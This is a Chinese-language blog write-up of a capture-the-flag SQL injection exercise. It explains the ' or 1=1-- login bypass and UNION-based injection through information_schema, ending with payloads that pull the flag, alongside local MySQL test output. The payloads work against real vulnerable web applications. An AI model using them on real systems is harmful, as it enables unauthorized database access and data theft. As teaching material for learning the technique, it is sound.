簡單sql注入|使用語句

這道題是一道get注入題

語句的使用

假如我們有一個users表,里面有兩個字段username和password。在我們的java代碼中我們初學(xué)者都習(xí)慣用sql拼接的方式進(jìn)行用戶驗(yàn)證。比如:"select id from users where username = '"+username +"' and password = '" + password +"'" 這里的username和password都是我們存取從web表單獲得的數(shù)據(jù)。下面我們來看一下一種簡單的注入,如果我們在表單中username的輸入框中輸入' or 1=1-- ,password的表單中隨便輸入一些東西,假如這里輸入123.此時(shí)我們所要執(zhí)行的sql語句就變成了select id from users where username = '' or 1=1-- and password = '123',我們來看一下這個sql,因?yàn)?=1是true,后面 and password = '123'被注釋掉了。

本段轉(zhuǎn)自sql注入原理。
查詢知道當(dāng)前數(shù)據(jù)庫是mysql,其中中有select database();語句,可以查詢當(dāng)前數(shù)據(jù)庫名稱。
Union是聯(lián)合查找。
通過我自己的mysql實(shí)驗(yàn)得出

mysql> select * from info union select 1,2,3,4,5,6,7,1,2,4,database()
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | database() |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | student    |
+---+---+---+---+---+---+---+---+---+---+---+------------+

需要輸入正確的列數(shù)才能獲取結(jié)果。
由此構(gòu)造1 ' union select 1,2,3,database()#提交,得出庫名pentesterlab,這里#是注釋掉后面的語句。
接下來爆表名,select from where是一個語句,可以用來查詢表中某一列的值,結(jié)果可以是返回多行,用我自己的mysql試驗(yàn)之后發(fā)現(xiàn)是沒有問題是。
在mysql中有一個information_schema,是mysql自帶的數(shù)據(jù)庫,庫內(nèi)有一個TABLE表,表中存放了如下兩個關(guān)鍵的數(shù)據(jù)


第一個是數(shù)據(jù)庫的庫名,第二個是表名。但這個庫和我們所在的庫不是同一個庫,關(guān)于mysql的跨庫查詢是可以直接用點(diǎn)路徑
select * from info union select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
再次拿自己的mysql進(jìn)行實(shí)驗(yàn),發(fā)現(xiàn)使用這句語句時(shí)可以訪問到查詢的數(shù)據(jù)庫內(nèi)擁有的表。(庫內(nèi)搞了太多字段了寫的蛋疼。。。)

mysql> select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | TABLE_NAME |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | info       |
+---+---+---+---+---+---+---+---+---+---+---+------------+

所以構(gòu)造語句
1 ' union select 1,2,3,table_name from information_schema.tables where table_schema='pentesterlab'#


ctf比賽中的目的是獲取flag,而這里有一個flag表,所以接下來的行動就是爆表了。。
同樣是information_schema庫,庫內(nèi)有COLUMNS這個表:主要的結(jié)構(gòu)如下

以我的數(shù)據(jù)庫為例,hhhm是我的mysql中的其中一個庫名,blog_article_title是我的庫內(nèi)的一個表。查看navicat可以知道我的表內(nèi)有這些,與上面的相對應(yīng)。最后一個column_name就是我們要爆的表的字段名。

所以依舊構(gòu)造語句

mysql> select 1,2,3,4,5,6,7,1,2,3,4,column_name from information_schema.columns where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | COLUMN_NAME |
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學(xué)號        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 姓名        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 性別        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 生日        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學(xué)籍        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學(xué)院        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 專業(yè)        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 班級        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 校區(qū)        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 畢業(yè)高中    |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 所在地      |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 手機(jī)號      |
+---+---+---+---+---+---+---+---+---+---+---+-------------

先試自己,發(fā)現(xiàn)確實(shí)如此!
1' union select 1,2,3,column_name from information_schema.columns where table_name='flag'#


該flag的表內(nèi)有id和flag兩個字段,有四行。最后就很容易了:
1' union select 1,2,3,flag from flag#

得出答案

關(guān)于information_schema的得知

參考自點(diǎn)擊查看。

歡迎訪問我的博客www.redmango.top

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容